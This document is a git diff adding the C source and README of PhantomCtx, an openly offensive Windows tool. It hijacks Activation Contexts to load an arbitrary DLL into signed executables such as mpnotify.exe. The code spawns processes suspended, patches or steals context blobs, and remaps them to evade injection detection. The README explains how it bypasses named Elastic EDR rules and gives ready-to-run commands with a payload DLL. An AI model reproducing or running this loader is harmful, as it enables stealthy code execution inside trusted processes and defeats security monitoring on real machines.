actCtxBlob = CopyRemoteActCtxByHandle(pNtQueryInformationProcess, pNtReadVirtualMemory, pi.hProcess, &actCtxSize); + + if (!actCtxBlob) { + printf("[ERROR] Failed to copy Activation Context Data blob to local process buffer.\n"); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return FALSE; + } + printf("[INFO] Blob copied from target. TotalSize=0x%lX\n", (ULONG)actCtxSize); + + // Reallocate with extra space for the new entry + BYTE* blob = (BYTE*)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, actCtxBlob, actCtxSize + EXTRA_BYTES_ADD); + if (!blob) { + printf("[ERROR] HeapReAlloc failed.\n"); + HeapFree(GetProcessHeap(), 0, actCtxBlob); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return FALSE; + } + + // Convert dllName and dllPath to WCHAR + WCHAR* wDllName = phantom_char_to_wchar_ascii(dllName); + WCHAR* wDllPath = phantom_char_to_wchar_ascii(dllPath); + if (!wDllName || !wDllPath) { + printf("[ERROR] Failed to convert dllName/dllPath to WCHAR.\n"); + free(wDllName); + free(wDllPath); + HeapFree(GetProcessHeap(), 0, blob); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return FALSE; + } + + // Reject if the entry already exists —> use patch-entry to overwrite an existing redirect + ACTIVATION_CONTEXT_DATA* actx = (ACTIVATION_CONTEXT_DATA*)blob; + ACTIVATION_CONTEXT_DATA_TOC_HEADER* toc = (ACTIVATION_CONTEXT_DATA_TOC_HEADER*)(blob + actx->DefaultTocOffset); + ACTIVATION_CONTEXT_DATA_TOC_ENTRY* tocEntries = (ACTIVATION_CONTEXT_DATA_TOC_ENTRY*)(blob + toc->FirstEntryOffset); + + ACTIVATION_CONTEXT_DATA_TOC_ENTRY* dllToc = NULL; + for (ULONG i = 0; i < toc->EntryCount; i++) { + if (tocEntries[i].Id == ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) { + dllToc = &tocEntries[i]; + break; + } + } + + if (!dllToc) { + printf("[ERROR] No DLL redirection section (Id==2) found in the target's blob.\n"); + printf("[HINT] The target has no DLL redirection section.\n"); + printf(" Use 'steal-context' to steal the Activation Context from a process that has one.\n"); + free(wDllName); + free(wDllPath); + HeapFree(GetProcessHeap(), 0, blob); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return FALSE; + } + + { + ACTIVATION_CONTEXT_STRING_SECTION_HEADER* sshdr = (ACTIVATION_CONTEXT_STRING_SECTION_HEADER*)(blob + dllToc->Offset); + BYTE* B1 = (BYTE*)sshdr; + ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* strEntries = (ACTIVATION_CONTEXT_STRING_SECTION_ENTRY*)(B1 + sshdr->ElementListOffset); + ULONG keyByteLen = (ULONG)(wcslen(wDllName) * sizeof(WCHAR)); + + for (ULONG i = 0; i < sshdr->ElementCount; i++) { + if (keyByteLen != strEntries[i].KeyLength) continue; + const WCHAR* existingKey = (const WCHAR*)(B1 + strEntries[i].KeyOffset); + ULONG nChars = keyByteLen / sizeof(WCHAR); + BOOL match = TRUE; + for (ULONG c = 0; c < nChars; c++) { + WCHAR a = existingKey[c]; + WCHAR b = wDllName[c]; + if (a >= L'A' && a <= L'Z') a += (L'a' - L'A'); + if (b >= L'A' && b <= L'Z') b += (L'a' - L'A'); + if (a != b) { match = FALSE; break; } + } + if (match) { + printf("[ERROR] '%s' already exists at entry[%lu].\n", dllName, i); + printf("[HINT] Use 'patch-entry' to overwrite the existing redirect.\n"); + free(wDllName); + free(wDllPath); + HeapFree(GetProcessHeap(), 0, blob); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return FALSE; + } + } + } + + printf("[INFO] Adding entry: dllName='%s' redirectPath='%s'\n", dllName, dllPath); + + // Add new DLL redirection entry + ULONG newTotalSize = AddDllRedirectionEntry(blob, (ULONG)actCtxSize, wDllName, wDllPath, 1); + free(wDllName); + free(wDllPath); + + if (newTotalSize == (ULONG)actCtxSize) { + printf("[ERROR] AddDllRedirectionEntry failed.\n"); + HeapFree(GetProcessHeap(), 0, blob); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return FALSE; + } + printf("[SUCCESS] Entry added. New TotalSize = 0x%lX\n", newTotalSize); + + // Print patched blob contents + printf("\n[INFO] Patched ActivationContextData:\n"); + ParseDllRedirections((const BYTE*)blob, newTotalSize); + + // Inject patched Activation Context blob into the suspended target process + NTSTATUS status = HijackActCtx(pNtReadVirtualMemory, pNtCreateSection, pNtMapViewOfSection, pNtUnmapViewOfSection, pNtQueryInformationProcess, pi.hProcess, blob, newTotalSize); + + if (!NT_SUCCESS(status)) { + printf("[ERROR] HijackActCtx failed: 0x%08lX\n", status); + HeapFree(GetProcessHeap(), 0, blob); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return FALSE; + } + + result = pResumeThread(pi.hThread); + if (!result) { + printf("[ERROR] ResumeThread failed: %u\n", GetLastError()); + HeapFree(GetProcessHeap(), 0, blob); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return FALSE; + } + + printf("[SUCCESS] Target process resumed.\n"); + + // Cleanup + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + HeapFree(GetProcessHeap(), 0, blob); + return TRUE; +} + +BOOL spawnPatchEntry(const char* targetPath, const char* dllName, const char* dllPath) { + + // Dynamic module address resolution using custom implementation of GetModuleHandleW + HMODULE hKernel32 = phantom_GetModuleHandleW(L"kernel32.dll"); + + if(!hKernel32){ + printf("[ERROR] Couldn't get 'kernel32.dll' handle.\n"); + return FALSE; + } + + HMODULE hNtdll = phantom_GetModuleHandleW(L"ntdll.dll"); + + if(!hNtdll){ + printf("[ERROR] Couldn't get 'ntdll.dll' handle.\n"); + return FALSE; + } + + // Dynamic function address resolution using custom implementation of GetProcAddressA + fnCreateProcessW pCreateProcessW = (fnCreateProcessW)phantom_GetProcAddressA(hKernel32, "CreateProcessW"); + fnNtReadVirtualMemory pNtReadVirtualMemory = (fnNtReadVirtualMemory)phantom_GetProcAddressA(hNtdll, "NtReadVirtualMemory"); + fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)phantom_GetProcAddressA(hNtdll, "NtQueryInformationProcess"); + fnNtCreateSection pNtCreateSection = (fnNtCreateSection)phantom_GetProcAddressA(hNtdll, "NtCreateSection"); + fnNtMapViewOfSection pNtMapViewOfSection = (fnNtMapViewOfSection)phantom_GetProcAddressA(hNtdll, "NtMapViewOfSection"); + fnNtUnmapViewOfSection pNtUnmapViewOfSection = (fnNtUnmapViewOfSection)phantom_GetProcAddressA(hNtdll, "NtUnmapViewOfSection"); + fnResumeThread pResumeThread = (fnResumeThread)phantom_GetProcAddressA(hKernel32, "ResumeThread"); + + if (!pCreateProcessW || !pNtReadVirtualMemory || !pNtQueryInformationProcess || !pNtCreateSection || !pNtMapViewOfSection || !pNtUnmapViewOfSection || !pResumeThread) { + printf("[ERROR] Dynamic function address resolution failed.\n"); + return FALSE; + } + + // Launch target process in suspended state + WCHAR* widePath = phantom_char_to_wchar_ascii(targetPath); + STARTUPINFOW si = { 0 }; + si.cb = sizeof(STARTUPINFOW); + PROCESS_INFORMATION pi = { 0 }; + + BOOL result = pCreateProcessW(NULL, widePath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); + free(widePath); + + if (!result) { + printf("[ERROR] CreateProcessW failed: %u\n", GetLastError()); + return FALSE; + } + + printf("[SUCCESS] Suspended process created...\n"); + + // Copy ACTIVATION_CONTEXT_DATA blob from the suspended target process itself + SIZE_T actCtxSize = 0; + void* actCtxBlob = CopyRemoteActCtxByHandle(pNtQueryInformationProcess, pNtReadVirtualMemory, pi.hProcess, &actCtxSize); + + if (!actCtxBlob) { + printf("[ERROR] Failed to copy Activation Context Data blob to local process buffer.\n"); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return FALSE; + } + printf("[INFO] Blob copied from target. TotalSize=0x%lX\n", (ULONG)actCtxSize); + + // Reallocate with extra space for patching + BYTE* blob = (BYTE*)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, actCtxBlob, actCtxSize + EXTRA_BYTES); + if (!blob) { + printf("[ERROR] HeapReAlloc failed.\n"); + HeapFree(GetProcessHeap(), 0, actCtxBlob); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return FALSE; + } + + // Convert dllName and dllPath to WCHAR + WCHAR* wDllName = phantom_char_to_wchar_ascii(dllName); + WCHAR* wDllPath = phantom_char_to_wchar_ascii(dllPath); + if (!wDllName || !wDllPath) { + printf("[ERROR] Failed to convert dllName/dllPath to WCHAR.\n"); + free(wDllName); + free(wDllPath); + HeapFree(GetProcessHeap(), 0, blob); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return FALSE; + } + + // Search for the target entry by case-insensitive name + ACTIVATION_CONTEXT_DATA* actx = (ACTIVATION_CONTEXT_DATA*)blob; + ACTIVATION_CONTEXT_DATA_TOC_HEADER* toc = (ACTIVATION_CONTEXT_DATA_TOC_HEADER*)(blob + actx->DefaultTocOffset); + ACTIVATION_CONTEXT_DATA_TOC_ENTRY* tocEntries = (ACTIVATION_CONTEXT_DATA_TOC_ENTRY*)(blob + toc->FirstEntryOffset); + + ACTIVATION_CONTEXT_DATA_TOC_ENTRY* dllToc = NULL; + for (ULONG i = 0; i < toc->EntryCount; i++) { + if (tocEntries[i].Id == ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) { + dllToc = &tocEntries[i]; + break; + } + } + + if (!dllToc) { + printf("[ERROR] No DLL redirection section (Id==2) found in the target's blob.\n"); + printf("[HINT] The target has no SxS DLL redirection manifest.\n"); + printf(" Use 'steal-context' to steal the entire Activation Context from a process that has one.\n"); + free(wDllName); + free(wDllPath); + HeapFree(GetProcessHeap(), 0, blob); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return FALSE; + } + + ACTIVATION_CONTEXT_STRING_SECTION_HEADER* sshdr = (ACTIVATION_CONTEXT_STRING_SECTION_HEADER*)(blob + dllToc->Offset); + BYTE* B1 = (BYTE*)sshdr; + ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* strEntries = (ACTIVATION_CONTEXT_STRING_SECTION_ENTRY*)(B1 + sshdr->ElementListOffset); + + ULONG keyByteLen = (ULONG)(wcslen(wDllName) * sizeof(WCHAR)); + LONG foundIdx = -1; + for (ULONG i = 0; i < sshdr->ElementCount; i++) { + if (keyByteLen != strEntries[i].KeyLength) continue; + const WCHAR* existingKey = (const WCHAR*)(B1 + strEntries[i].KeyOffset); + ULONG nChars = keyByteLen / sizeof(WCHAR); + BOOL match = TRUE; + for (ULONG c = 0; c < nChars; c++) { + WCHAR a = existingKey[c]; + WCHAR b = wDllName[c]; + if (a >= L'A' && a <= L'Z') a += (L'a' - L'A'); + if (b >= L'A' && b <= L'Z') b += (L'a' - L'A'); + if (a != b) { match = FALSE; break; } + } + if (match) { foundIdx = (LONG)i; break; } + } + + free(wDllName); + + if (foundIdx < 0) { + printf("[ERROR] '%s' not found in DLL redirection section.\n", dllName); + printf("[HINT] No existing redirect for this DLL. Use 'add-entry' to create one.\n"); + free(wDllPath); + HeapFree(GetProcessHeap(), 0, blob); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return FALSE; + } + + printf("[INFO] Patching entry[%ld]: dllName='%s' redirectPath='%s'\n", foundIdx, dllName, dllPath); + + // Patch the existing entry + ULONG newTotalSize = PatchDllRedirectionEntry(blob, (ULONG)actCtxSize, (ULONG)foundIdx, wDllPath); + free(wDllPath); + + if (newTotalSize == (ULONG)actCtxSize) { + printf("[ERROR] PatchDllRedirectionEntry failed.\n"); + HeapFree(GetProcessHeap(), 0, blob); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return FALSE; + } + printf("[SUCCESS] Entry patched. New TotalSize = 0x%lX\n", newTotalSize); + + // Print patched blob contents + printf("\n[INFO] Patched ActivationContextData:\n"); + ParseDllRedirections((const BYTE*)blob, newTotalSize); + + // Inject patched Activation Context blob into the suspended target process + NTSTATUS status = HijackActCtx(pNtReadVirtualMemory, pNtCreateSection, pNtMapViewOfSection, pNtUnmapViewOfSection, pNtQueryInformationProcess, pi.hProcess, blob, newTotalSize); + + if (!NT_SUCCESS(status)) { + printf("[ERROR] HijackActCtx failed: 0x%08lX\n", status); + HeapFree(GetProcessHeap(), 0, blob); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return FALSE; + } + + result = pResumeThread(pi.hThread); + if (!result) { + printf("[ERROR] ResumeThread failed: %u\n", GetLastError()); + HeapFree(GetProcessHeap(), 0, blob); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return FALSE; + } + + printf("[SUCCESS] Target process resumed.\n"); + + // Cleanup + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + HeapFree(GetProcessHeap(), 0, blob); + return TRUE; +} + +BOOL modeSpawn(const char* submode, const char* target, const char* dllName, const char* dllPath, const char* stealFrom) { + if (strcmp(submode, "steal-context") == 0) { + if (!spawnStealContext(target, dllName, dllPath, stealFrom)) return FALSE; + return TRUE; + } else if (strcmp(submode, "add-entry") == 0) { + if (!spawnAddEntry(target, dllName, dllPath)) return FALSE; + return TRUE; + } else if (strcmp(submode, "patch-entry") == 0) { + if (!spawnPatchEntry(target, dllName, dllPath)) return FALSE; + return TRUE; + } + return FALSE; +} \ No newline at end of file diff --git a/PhantomCtx/spawn/spawn.h b/PhantomCtx/spawn/spawn.h new file mode 100644 index 0000000..cf8c8d3 --- /dev/null +++ b/PhantomCtx/spawn/spawn.h @@ -0,0 +1,29 @@ +#pragma once +#include + +BOOL modeSpawn( + const char* submode, + const char* targetPath, + const char* dllName, + const char* dllPath, + const char* stealFrom +); + +BOOL spawnStealContext( + const char* targetPath, + const char* dllName, + const char* dllPath, + const char* stealFrom +); + +BOOL spawnAddEntry( + const char* targetPath, + const char* dllName, + const char* dllPath +); + +BOOL spawnPatchEntry( + const char* targetPath, + const char* dllName, + const char* dllPath +); \ No newline at end of file diff --git a/PhantomCtx/utils/utils.c b/PhantomCtx/utils/utils.c new file mode 100644 index 0000000..937f9e8 --- /dev/null +++ b/PhantomCtx/utils/utils.c @@ -0,0 +1,102 @@ +#include +#include +#include "utils.h" + +VOID helpPanel() { + printf("\n\t\t+----------------------------------+\n"); + printf("\t\t| PhantomCtx v1.0 |\n"); + printf("\t\t+----------------------------------+\n\n"); + + printf(" Usage:\n"); + printf("\tPhantomCtx.exe -m [MODE] [OPTIONS]\n\n"); + + printf(" Modes:\n"); + printf("\t-m recon\tDisplays information about the Activation Context DLL redirections\n"); + printf("\t\t\tof a running process or one to be spawned.\n\n"); + printf("\t-m spawn\tPerform Activation Context Hijacking using an on-disk executable\n"); + printf("\t\t\t(preferably a signed binary for OPSEC purposes).\n\n"); + printf("\t-m runtime\tPerform Activation Context Hijacking on an already running process.\n\n"); +} + +VOID helpPanelRecon() { + printf("\n\t\t+----------------------------------+\n"); + printf("\t\t| PhantomCtx v1.0 |\n"); + printf("\t\t+----------------------------------+\n\n"); + + printf(" Usage:\n"); + printf("\tPhantomCtx.exe -m recon -s [SUBMODE] -p [PROCESS_NAME|PATH]\n\n"); + + printf(" Submodes:\n"); + printf("\t-s spawn\tSpawn a process in suspended mode to retrieve its\n"); + printf("\t\t\tActivation Context DLL redirection information.\n\n"); + printf("\t-s runtime\tAttach to a currently running process to retrieve its\n"); + printf("\t\t\tActivation Context DLL redirection information.\n\n"); + + printf(" Examples:\n"); + printf("\tPhantomCtx.exe -m recon -s spawn -p C:\\path\\to\\target.exe\n"); + printf("\tPhantomCtx.exe -m recon -s runtime -p target.exe\n\n"); +} + +VOID helpPanelSpawn() { + printf("\n\t\t+----------------------------------+\n"); + printf("\t\t| PhantomCtx v1.0 |\n"); + printf("\t\t+----------------------------------+\n\n"); + + printf(" Usage:\n"); + printf("\tPhantomCtx.exe -m spawn -s [SUBMODE] -p [PATH] [OPTIONS]\n\n"); + + printf(" Submodes:\n"); + printf("\t-s steal-context\tSpawn a process and hijack its Activation Context\n"); + printf("\t\t\t\tby stealing the context from another running process.\n\n"); + + printf("\t-s add-entry\t\tSpawn a process and hijack its Activation Context\n"); + printf("\t\t\t\tby adding a new DLL redirection entry.\n\n"); + + printf("\t-s patch-entry\t\tSpawn a process and hijack its Activation Context\n"); + printf("\t\t\t\tby patching the path of an existing DLL redirection entry.\n\n"); + + printf(" Options:\n"); + printf("\t-p \t\tPath to the target executable to spawn.\n"); + printf("\t-d \t\tName of the DLL to hijack (e.g. comctl32.dll).\n"); + printf("\t--dll-path \tPath to the custom DLL to load.\n\n"); + + printf(" steal-context Options:\n"); + printf("\t--steal-from \tProcess name to steal the Activation Context from.\n\n"); + + printf(" Examples:\n"); + printf("\tPhantomCtx.exe -m spawn -s steal-context -p C:\\program.exe --steal-from explorer.exe -d crypt32.dll --dll-path C:\\path\\to\\custom.dll\n"); + printf("\tPhantomCtx.exe -m spawn -s add-entry -p C:\\program.exe -d crypt32.dll --dll-path C:\\path\\to\\custom.dll\n"); + printf("\tPhantomCtx.exe -m spawn -s patch-entry -p C:\\program.exe -d comctl32.dll --dll-path C:\\path\\to\\custom.dll\n\n"); +} + +VOID helpPanelRuntime(){ + printf("\n\t\t+----------------------------------+\n"); + printf("\t\t| PhantomCtx v1.0 |\n"); + printf("\t\t+----------------------------------+\n\n"); + + printf(" Usage:\n"); + printf("\tPhantomCtx.exe -m runtime -s [SUBMODE] -p [PROCESS_NAME] [OPTIONS]\n\n"); + + printf(" Submodes:\n"); + printf("\t-s steal-context\tHijack the Activation Context of a running process\n"); + printf("\t\t\t\tby stealing the context from another running process.\n\n"); + + printf("\t-s add-entry\t\tHijack the Activation Context of a running process\n"); + printf("\t\t\t\tby adding a new DLL redirection entry.\n\n"); + + printf("\t-s patch-entry\t\tHijack the Activation Context of a running process\n"); + printf("\t\t\t\tby patching the path of an existing DLL redirection entry.\n\n"); + + printf(" Options:\n"); + printf("\t-p \tName of the already running target process (e.g. notepad.exe).\n"); + printf("\t-d \t\tName of the DLL to hijack (e.g. comctl32.dll).\n"); + printf("\t--dll-path \tPath to the custom DLL to load.\n\n"); + + printf(" steal-context Options:\n"); + printf("\t--steal-from \tProcess name to steal the Activation Context from.\n\n"); + + printf(" Examples:\n"); + printf("\tPhantomCtx.exe -m runtime -s steal-context -p program.exe --steal-from explorer.exe -d crypt32.dll --dll-path C:\\path\\to\\custom.dll\n"); + printf("\tPhantomCtx.exe -m runtime -s add-entry -p program.exe -d crypt32.dll --dll-path C:\\path\\to\\custom.dll\n"); + printf("\tPhantomCtx.exe -m runtime -s patch-entry -p program.exe -d comctl32.dll --dll-path C:\\path\\to\\custom.dll\n\n"); +} \ No newline at end of file diff --git a/PhantomCtx/utils/utils.h b/PhantomCtx/utils/utils.h new file mode 100644 index 0000000..d92f809 --- /dev/null +++ b/PhantomCtx/utils/utils.h @@ -0,0 +1,7 @@ +#pragma once +#include + +VOID helpPanel(); +VOID helpPanelRecon(); +VOID helpPanelSpawn(); +VOID helpPanelRuntime(); \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..5c38f72 --- /dev/null +++ b/README.md @@ -0,0 +1,650 @@ +# PhantomCtx + +PhantomCtx is a tool that automates [Activation Context](https://learn.microsoft.com/en-us/windows/win32/sbscs/activation-contexts) hijacking with the objective of loading an arbitrary DLL into the vast majority of signed executables (e.g. Microsoft, Adobe, Mozilla). + +The loader is presented as a modern alternative to traditional [DLL Sideloading](https://attack.mitre.org/techniques/T1574/001/): unlike conventional approaches, it does not require a vulnerable binary. The technique can be performed as long as the target executable **resolves a DLL through its Import Address Table (IAT)** or, in the worst case, via `LoadLibrary` without an absolute path. + +```c +C:\PhantomCtx\x64>.\PhantomCtx.exe + + +----------------------------------+ + | PhantomCtx v1.0 | + +----------------------------------+ + + Usage: + PhantomCtx.exe -m [MODE] [OPTIONS] + + Modes: + -m recon Displays information about the Activation Context DLL redirections + of a running process or one to be spawned. + + -m spawn Perform Activation Context Hijacking using an on-disk executable + (preferably a signed binary for OPSEC purposes). + + -m runtime Perform Activation Context Hijacking on an already running process. +``` + +# Table of Contents + +- [Internal Mechanism](#internal-mechanism) + - [A New Method for Activation Context Hijacking Focused on EDR Evasion](#a-new-method-for-activation-context-hijacking-focused-on-edr-evasion) +- [Usage: Module-Based Workflow](#usage-module-based-workflow) + - [Recon](#recon) + - [Spawn (recommended)](#spawn-recommended) + - [Runtime](#runtime) +- [Example: Activation Context Hijacking + DLL Proxying mpnotify.exe](#example-activation-context-hijacking--dll-proxying-mpnotifyexe) +- [How to Compile](#how-to-compile) +- [Disclaimer](#disclaimer) +- [References](#references) + +# Internal Mechanism + +`PhantomCtx` abuses a **legitimate** Windows feature present in most processes, called **Activation Contexts**. According to Microsoft: + +>[_Activation contexts_](https://learn.microsoft.com/en-us/windows/win32/sbscs/a-sbscs-gly) are data structures in memory containing information that the system can use to redirect an application **to load a particular DLL version**, COM object instance, or custom window version... + +When the Windows Loader resolves a DLL (via `LoadLibrary` or the import table), it follows a defined resolution order: + +1. DLL redirection +2. API sets +3. **SxS manifest redirection** +4. Loaded-module list +5. Known DLLs +6. Process package dependency graph + 7–12. Standard file search order on disk + +`PhantomCtx` targets step 3: SxS manifest redirection. Activation Contexts are derived from [Side-by-Side](https://en.wikipedia.org/wiki/Side-by-side_assembly) (`.manifest`) files associated with executables, typically embedded in PE binaries. Internally, an Activation Context contains a **Table of Contents (ToC)** indexing multiple sections, including the **DLL redirection section**. The Loader typically accesses Activation Contexts through `PEB.ActivationContextData`. + +Research by [Kurosh Dabbagh Escalante](https://github.com/Kudaes) showed that a malicious Activation Context can be constructed using `CreateActCtx`, written into `RW` memory in a target process, and then activated by redirecting `PEB.ActivationContextData` to the crafted structure. + +Once hijacked, the loader resolves DLL redirections defined within the malicious Activation Context, **redirecting library resolution** to paths controlled by the attacker. + +The loader named `Eclipse`, developed as part of his research, can be found in its [official repository](https://github.com/Kudaes/Eclipse). + +## A New Method for Activation Context Hijacking Focused on EDR Evasion + +After multiple tests, `Eclipse` was detected by aggressive EDRs such as Elastic at the following points: + +- `Potential Suspended Process Code Injection`: suspended process creation followed by `NtWriteVirtualMemory` to copy the AC blob into the remote process. +- `Remote Process Memory Write by Low Reputation Module`: `NtWriteVirtualMemory` without `CreateProcess` in the call stack and a low-reputation module, leading to `PEB.ActivationContextData` overwrite. +- `Remote Memory Write to Trusted Target Process`: `WriteProcessMemory` without `CreateProcess` in the call stack, restricted to system/user-installed binaries. + +After one day of research looking for alternative approaches to implement in `PhantomCtx`, I discovered that **the memory region of the original Activation Context is a section view mapped during process creation**. It is possible to **unmap this section view using** `NtUnmapViewOfSection` and then create a new read-only section view backed by our malicious Activation Context, mapping it at the **exact same memory address** where the original one resided. + +As a result, it is **no longer necessary** for the loader to overwrite the `PEB.ActivationContextData` pointer. This eliminates the requirement to use `NtAllocateVirtualMemory` and `NtWriteVirtualMemory`, bypassing all EDR monitoring rules related to remote process memory writes and injection. + +Additionally, to increase detection difficulty, `PhantomCtx` does not use `CreateActCtxW`, removing the need to handle `.manifest` files during the attack. Depending on the selected mode, it can **steal the Activation Context from another remote process** containing a valid DLL redirection section using `NtReadVirtualMemory`, reconstruct the DLL redirection entries locally, patch it, and then replace the original. + +# Usage: Module-Based Workflow + +The tool is designed with a **modular architecture** to simplify development while providing the operator with a clear, step-based workflow. + +Each module serves a **specific role** within the exploitation workflow. + +**Please take a moment to review the purpose of each one to fully leverage the tool’s capabilities!!!** + +The attack can be performed either on a **process to be spawned** (**recommended**) or on an **already running process**. The tool is designed to handle both scenarios. + +```c +C:\PhantomCtx\x64>.\PhantomCtx.exe + + +----------------------------------+ + | PhantomCtx v1.0 | + +----------------------------------+ + + Usage: + PhantomCtx.exe -m [MODE] [OPTIONS] + + Modes: + -m recon Displays information about the Activation Context DLL redirections + of a running process or one to be spawned. + + -m spawn Perform Activation Context Hijacking using an on-disk executable + (preferably a signed binary for OPSEC purposes). + + -m runtime Perform Activation Context Hijacking on an already running process. +``` + +## Recon + +The `recon` mode focuses on parsing the Activation Context of the target program or running process. It is the first module that should be executed, as it determines which exploitation submodule should be used within the exploitation workflow. + +```c +C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -h + + +----------------------------------+ + | PhantomCtx v1.0 | + +----------------------------------+ + + Usage: + PhantomCtx.exe -m recon -s [SUBMODE] -p [PROCESS_NAME|PATH] + + Submodes: + -s spawn Spawn a process in suspended mode to retrieve its + Activation Context DLL redirection information. + + -s runtime Attach to a currently running process to retrieve its + Activation Context DLL redirection information. + + Examples: + PhantomCtx.exe -m recon -s spawn -p C:\path\to\target.exe + PhantomCtx.exe -m recon -s runtime -p target.exe +``` + +As an example, we use the signed Microsoft binary `mpnotify.exe`. The first step is to determine whether it contains a valid Activation Context with a DLL redirection section. + +If it does not, the tool recommends the `steal-context` submodule under the `spawn` or `runtime` modes, which retrieves an Activation Context from another process containing a valid redirection section. + +```c +C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s spawn -p "C:\Windows\System32\mpnotify.exe" +[SUCCESS] Suspended process created... +[SUCCESS] Activation Context Data Blob copied to local heap buffer @00000294CEA79CD0 (916 bytes) + ++-[ ACTIVATION CONTEXT DATA ] +| Magic : 0x78746341 (Actx) +| HeaderSize : 0x20 (32 bytes) +| FormatVersion : 1 +| TotalSize : 0x394 (916 bytes) +| Flags : 0x00000000 +| ++--[ TOC ] 6 entries +| [00] Id=1 Format=1 Offset=0x00D4 Length=0x0218 +| [01] Id=4 Format=2 Offset=0x02EC Length=0x0028 +| [02] Id=5 Format=2 Offset=0x0314 Length=0x0028 +| [03] Id=6 Format=2 Offset=0x033C Length=0x0028 +| [04] Id=9 Format=2 Offset=0x0364 Length=0x0028 +| [05] Id=11 Format=1 Offset=0x038C Length=0x0008 +| ++--[ DLL REDIRECTION ] not present in this blob +| ++--[ HINT ] Use 'steal-context' to steal the Activation Context + from a running process that has one. + Example: -m spawn|runtime -s steal-context -p -d --dll-path --steal-from +``` + +If the target program or process Activation Context contains a valid DLL redirection section, the most efficient approach is to use the `add-entry` or `patch-entry` submodules within the `spawn` or `runtime` exploitation modes. + +## Spawn (recommended) + +The `spawn` mode is designed to perform Activation Context hijacking by spawning a process from a signed executable on the target system. + +This method is the **most recommended** and thoroughly tested, due to its operational simplicity and reliability. + +```c +C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -h + + +----------------------------------+ + | PhantomCtx v1.0 | + +----------------------------------+ + + Usage: + PhantomCtx.exe -m spawn -s [SUBMODE] -p [PATH] [OPTIONS] + + Submodes: + -s steal-context Spawn a process and hijack its Activation Context + by stealing the context from another running process. + + -s add-entry Spawn a process and hijack its Activation Context + by adding a new DLL redirection entry. + + -s patch-entry Spawn a process and hijack its Activation Context + by patching the path of an existing DLL redirection entry. + + Options: + -p Path to the target executable to spawn. + -d Name of the DLL to hijack (e.g. comctl32.dll). + --dll-path Path to the custom DLL to load. + + steal-context Options: + --steal-from Process name to steal the Activation Context from. + + Examples: + PhantomCtx.exe -m spawn -s steal-context -p C:\program.exe --steal-from explorer.exe -d crypt32.dll --dll-path C:\path\to\custom.dll + PhantomCtx.exe -m spawn -s add-entry -p C:\program.exe -d crypt32.dll --dll-path C:\path\to\custom.dll + PhantomCtx.exe -m spawn -s patch-entry -p C:\program.exe -d comctl32.dll --dll-path C:\path\to\custom.dll +``` + +The internal workflow of this mode is as follows: +1. Create the target process in a suspended state using `CreateProcessW`. +2. Depending on the selected submodule: + - `steal-context`: Open the stealing process and copy a valid Activation Context containing a DLL redirection section into a local buffer. Depending on whether an entry for the target DLL already exists, a new entry is created or an existing one is patched. The modified Activation Context is then mapped into the suspended process, replacing the original one. + + - `add-entry`: Open the suspended program process and copy its Activation Context into a local buffer. A new DLL redirection entry is added for the specified DLL, and the modified Activation Context replaces the original. + + - `patch-entry`: Open the suspended program process and copy its Activation Context into a local buffer. The existing DLL redirection entry for the specified DLL is patched to point to the provided payload DLL path, and the modified Activation Context replaces the original. +3. Resume execution of the suspended process using `ResumeThread`. + +The `steal-context` submodule is recommended when the **target executable does not contain a valid Activation Context or a valid DLL redirection section**. This can be determined using the previously executed `recon` module. + +A reliable target for context stealing is `explorer.exe`. This does not introduce instability or detection risk, as the operation only involves reading virtual memory. + +```c +C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s steal-context -p "C:\Windows\System32\mpnotify.exe" --steal-from explorer.exe -d advapi32.dll --dll-path C:\hijack\hijack.dll +[SUCCESS] Found 'explorer.exe' PID 1604 +[SUCCESS] Opened handle to PID 1604 +[SUCCESS] Activation Context Data Blob copied to local heap buffer @000001AC80F53FD0 (8256 bytes) +[INFO] Activation Context blob from 'explorer.exe'. TotalSize=0x2040 +[INFO] Patching blob: dllName='advapi32.dll' redirectPath='C:\hijack\hijack.dll' +[+] 'advapi32.dll' not found -> adding new entry. +[ADD] DLL key : advapi32.dll +[ADD] Redirect path : C:\hijack\hijack.dll +[ADD] PseudoKey : 0xF60E87FC +[ADD] RosterIndex : 1 +[ADD] ElementCount : 3 +[ADD] TotalSize : 0x2040 -> 0x20E4 +[SUCCESS] Blob patched. New TotalSize = 0x20E4 + +[INFO] Patched ActivationContextData: +| + +| ++--[ DLL REDIRECTION ] 3 entries +| + +| +| [02] advapi32.dll +| PseudoKey : 0xF60E87FC +| RosterIdx : 1 +| Flags : PATH_INCLUDES_BASE_NAME +| Segments : 1 PathLen=40 bytes +| Path : C:\hijack\hijack.dll +| ++--[ END ] + + +[SUCCESS] Original Activation Context region unmapped @ 00000164EA0A0000 +[SUCCESS] Patched Activation Context mapped at 00000164EA0A0000 (same address) 